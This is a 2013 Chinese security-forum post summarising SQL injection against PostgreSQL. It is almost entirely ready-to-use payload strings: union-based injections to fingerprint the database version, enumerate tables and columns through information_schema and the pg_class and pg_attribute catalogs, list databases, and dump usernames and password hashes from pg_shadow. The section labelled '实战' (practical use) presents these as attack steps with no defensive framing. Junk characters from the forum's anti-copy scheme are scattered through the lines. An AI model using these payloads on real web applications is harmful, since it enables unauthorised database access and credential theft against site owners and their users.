找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2156|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
  @' e5 b+ [/ w+ v1 p

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/) w' e, i" ]0 E% [# j
连接符: %20 , + , /**/

内置函数:  U8 x2 k% u" P' e
current_database() //当前数据库名
: ~; R; |" U6 z( r% {. Gsession_user //会话用户
' ~6 q" Q# f1 xcurrent_user //当前数据库用户: b& ?( h( S: V7 S0 H
user //当前用户) c( h& a( D& |$ b' ~) D8 _5 L3 p
version() //数据库版本

Union注射:. q1 s2 ~9 B: ^+ Q. M- x
order by n–- t2 ~/ U1 i* f% `5 |& G8 }
and 1=2 union select null,null,null–( P9 C8 Y9 h; J( e) ~
and 1=2 union select ‘beach’,null,null–
. `3 J5 R+ V3 u/ k9 Jand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):; y  w1 _2 [8 v1 t: o
group_concat(table_name); i; M$ F3 e4 y
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
2 o9 V: B2 j. u# L, ~4 ]and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–8 ]- v! P9 a& e6 g  c4 D$ o3 p
(老版本)
: Y/ B& W- V' e, E4 [% E) Tpg_class.oid对应pg_attribute.attrelid: ^1 `  H7 g% S* x. H6 G
pg_class.relname表名3 \% v) ~- H% Z, e1 B" I: y
pg_attribute.attname字段名

select relname from pg_class获取表名
; T9 Y% ^0 L/ A2 f' F9 a" _" n, T  t% aselect oid from pg_class where 条件 获取参数3 h9 O; |1 P6 D& d# v+ r* t3 N
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
8 F9 _* a1 ]! jand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
' s/ i0 x7 a! Y) uand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
" y% ^, E' u' I& r2 \' `4 i由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名7 Y& {+ K( ^1 \' {2 A$ Y1 m! ^
======================================================================* R1 n. Y1 [1 n0 C9 ]: ~2 v
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
0 K+ k% j7 W: Rand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表